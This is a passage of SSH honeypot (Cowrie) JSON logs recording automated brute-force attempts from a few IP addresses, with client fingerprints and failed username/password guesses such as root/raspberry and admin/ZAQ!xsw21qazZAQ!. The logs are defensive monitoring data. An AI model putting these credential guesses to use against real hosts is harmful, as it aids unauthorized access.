1@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:14.598359Z","src_ip":"192.109.200.78","session":"77df2174c71a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:14.852038Z","src_ip":"192.109.200.78","session":"77df2174c71a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:15.939497Z","src_ip":"192.109.200.78","session":"77df2174c71a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43986,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ebf0871b1fb","protocol":"ssh","message":"New connection: 192.109.200.78:43986 (10.17.0.5:22) [session: 0ebf0871b1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:18.645861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:18.650534Z","src_ip":"192.109.200.78","session":"0ebf0871b1fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:18.736605Z","src_ip":"192.109.200.78","session":"0ebf0871b1fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:19.002808Z","src_ip":"192.109.200.78","session":"0ebf0871b1fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:20.091951Z","src_ip":"192.109.200.78","session":"0ebf0871b1fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44002,"dst_ip":"10.17.0.5","dst_port":22,"session":"487d136d4435","protocol":"ssh","message":"New connection: 192.109.200.78:44002 (10.17.0.5:22) [session: 487d136d4435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:22.755954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:22.761308Z","src_ip":"192.109.200.78","session":"487d136d4435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:22.856504Z","src_ip":"192.109.200.78","session":"487d136d4435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:23.232572Z","src_ip":"192.109.200.78","session":"487d136d4435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:24.326350Z","src_ip":"192.109.200.78","session":"487d136d4435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44010,"dst_ip":"10.17.0.5","dst_port":22,"session":"928477b9afe2","protocol":"ssh","message":"New connection: 192.109.200.78:44010 (10.17.0.5:22) [session: 928477b9afe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:26.884098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:26.889149Z","src_ip":"192.109.200.78","session":"928477b9afe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:26.972179Z","src_ip":"192.109.200.78","session":"928477b9afe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:27.230568Z","src_ip":"192.109.200.78","session":"928477b9afe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:28.319685Z","src_ip":"192.109.200.78","session":"928477b9afe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38806,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a458b962a7d","protocol":"ssh","message":"New connection: 192.109.200.78:38806 (10.17.0.5:22) [session: 4a458b962a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:31.069205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:31.074364Z","src_ip":"192.109.200.78","session":"4a458b962a7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:31.160389Z","src_ip":"192.109.200.78","session":"4a458b962a7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:31.409478Z","src_ip":"192.109.200.78","session":"4a458b962a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:32.496490Z","src_ip":"192.109.200.78","session":"4a458b962a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38818,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4d2c3f08227","protocol":"ssh","message":"New connection: 192.109.200.78:38818 (10.17.0.5:22) [session: e4d2c3f08227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:36.301892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:36.308918Z","src_ip":"192.109.200.78","session":"e4d2c3f08227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:36.395620Z","src_ip":"192.109.200.78","session":"e4d2c3f08227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:36.651226Z","src_ip":"192.109.200.78","session":"e4d2c3f08227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:37.739008Z","src_ip":"192.109.200.78","session":"e4d2c3f08227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40122,"dst_ip":"159.203.135.109","dst_port":22,"session":"d64e1a5a4849","protocol":"ssh","message":"New connection: 159.203.92.129:40122 (159.203.135.109:22) [session: d64e1a5a4849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:39.059858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:39.064526Z","src_ip":"159.203.92.129","session":"d64e1a5a4849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:39.071885Z","src_ip":"159.203.92.129","session":"d64e1a5a4849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ZAQ!xsw21qazZAQ!","message":"login attempt [admin/ZAQ!xsw21qazZAQ!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:39.084277Z","src_ip":"159.203.92.129","session":"d64e1a5a4849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56642,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed9d07bc7513","protocol":"ssh","message":"New connection: 192.109.200.78:56642 (10.17.0.5:22) [session: ed9d07bc7513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:39.404721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:39.409590Z","src_ip":"192.109.200.78","session":"ed9d07bc7513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:39.866815Z","src_ip":"192.109.200.78","session":"ed9d07bc7513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:40.091074Z","src_ip":"159.203.92.129","session":"d64e1a5a4849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:40.132740Z","src_ip":"192.109.200.78","session":"ed9d07bc7513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:41.217440Z","src_ip":"192.109.200.78","session":"ed9d07bc7513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56648,"dst_ip":"10.17.0.5","dst_port":22,"session":"366c51035e53","protocol":"ssh","message":"New connection: 192.109.200.78:56648 (10.17.0.5:22) [session: 366c51035e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:43.739870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:43.744919Z","src_ip":"192.109.200.78","session":"366c51035e53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:43.828135Z","src_ip":"192.109.200.78","session":"366c51035e53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:44.087908Z","src_ip":"192.109.200.78","session":"366c51035e53","protocol":"ssh"}
